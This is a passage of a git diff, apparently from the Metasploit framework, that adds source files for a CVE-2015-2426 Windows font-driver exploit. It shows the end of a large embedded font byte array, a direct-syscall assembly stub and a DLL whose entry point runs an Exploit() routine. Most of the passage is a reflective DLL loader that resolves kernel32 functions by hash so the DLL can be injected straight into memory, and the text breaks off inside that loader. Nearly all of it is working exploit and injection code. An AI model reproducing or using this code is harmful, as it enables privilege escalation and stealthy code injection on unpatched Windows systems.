0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00 +}; \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/src/FontData.h b/external/source/exploits/CVE-2015-2426/dll/src/FontData.h new file mode 100755 index 0000000000..ed6bb9cc1f --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/FontData.h @@ -0,0 +1,6 @@ +#ifndef FONTDATA_H +#define FONTDATA_H + +#include <Windows.h> +extern const UCHAR fontData[785196]; +#endif \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/src/MySyscalls.asm b/external/source/exploits/CVE-2015-2426/dll/src/MySyscalls.asm new file mode 100755 index 0000000000..e6ff9c0578 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/MySyscalls.asm @@ -0,0 +1,10 @@ +.code + +MyGetTextMetricsW PROC + mov r10, rcx + mov eax, 4214 + syscall + ret +MyGetTextMetricsW ENDP + +END \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveDll.c b/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveDll.c new file mode 100755 index 0000000000..2fca8e42b3 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveDll.c @@ -0,0 +1,35 @@ +//===============================================================================================// +// This is a stub for the actuall functionality of the DLL. +//===============================================================================================// +#include "ReflectiveLoader.h" + +// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are +// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own +// DllMain and use the LoadRemoteLibraryR() API to inject this DLL. + +// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c) +extern HINSTANCE hAppInstance; +//===============================================================================================// + +#include "Exploit.h" + +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + Exploit(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveLoader.c b/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveLoader.c new file mode 100755 index 0000000000..49bfdd4245 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveLoader.c @@ -0,0 +1,599 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "ReflectiveLoader.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +//===============================================================================================// +#pragma intrinsic( _ReturnAddress ) +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } +//===============================================================================================// + +#ifdef ENABLE_OUTPUTDEBUGSTRING +#define OUTPUTDBG(str) pOutputDebug((LPCSTR)str) +#else /* ENABLE_OUTPUTDEBUGSTRING */ +#define OUTPUTDBG(str) do{}while(0) +#endif + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; +#ifdef ENABLE_STOPPAGING + VIRTUALLOCK pVirtualLock = NULL; +#endif +#ifdef ENABLE_OUTPUTDEBUGSTRING + OUTPUTDEBUG pOutputDebug = NULL; +#endif + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while( TRUE ) + { + if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef _WIN64 + uiBaseAddress = __readgsqword( 0x60 ); +#else +#ifdef WIN_ARM + uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); +#else _WIN32 + uiBaseAddress = __readfsdword( 0x30 ); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while( uiValueA ) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + do + { + uiValueC = ror( (DWORD)uiValueC ); + // normalize to uppercase if the module name is in lowercase + if( *((BYTE *)uiValueB) >= 'a' ) + uiValueC += *((BYTE *)uiValueB) - 0x20; + else + uiValueC += *((BYTE *)uiValueB); + uiValueB++; + } while( --usCounter ); + + // compare the hash with that of kernel32.dll + if( (DWORD)uiValueC == KERNEL32DLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 3; +#ifdef ENABLE_STOPPAGING + usCounter++; +#endif +#ifdef ENABLE_OUTPUTDEBUGSTRING + usCounter++; +#endif + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == LOADLIBRARYA_HASH + || dwHashValue == GETPROCADDRESS_HASH + || dwHashValue == VIRTUALALLOC_HASH +#ifdef ENABLE_STOPPAGING + || dwHashValue == VIRTUALLOCK_HASH +#endif +#ifdef ENABLE_OUTPUTDEBUGSTRING + || dwHashValue == OUTPUTDEBUG_HASH +#endif + ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == LOADLIBRARYA_HASH ) + pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == GETPROCADDRESS_HASH ) + pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == VIRTUALALLOC_HASH ) + pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); +#ifdef ENABLE_STOPPAGING + else if( dwHashValue == VIRTUALLOCK_HASH ) + pVirtualLock = (VIRTUALLOCK)( uiBaseAddress + DEREF_32( uiAddressArray ) ); +#endif +#ifdef ENABLE_OUTPUTDEBUGSTRING + else if( dwHashValue == OUTPUTDEBUG_HASH ) + pOutputDebug = (OUTPUTDEBUG)( uiBaseAddress + DEREF_32( uiAddressArray ) ); +#endif + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += 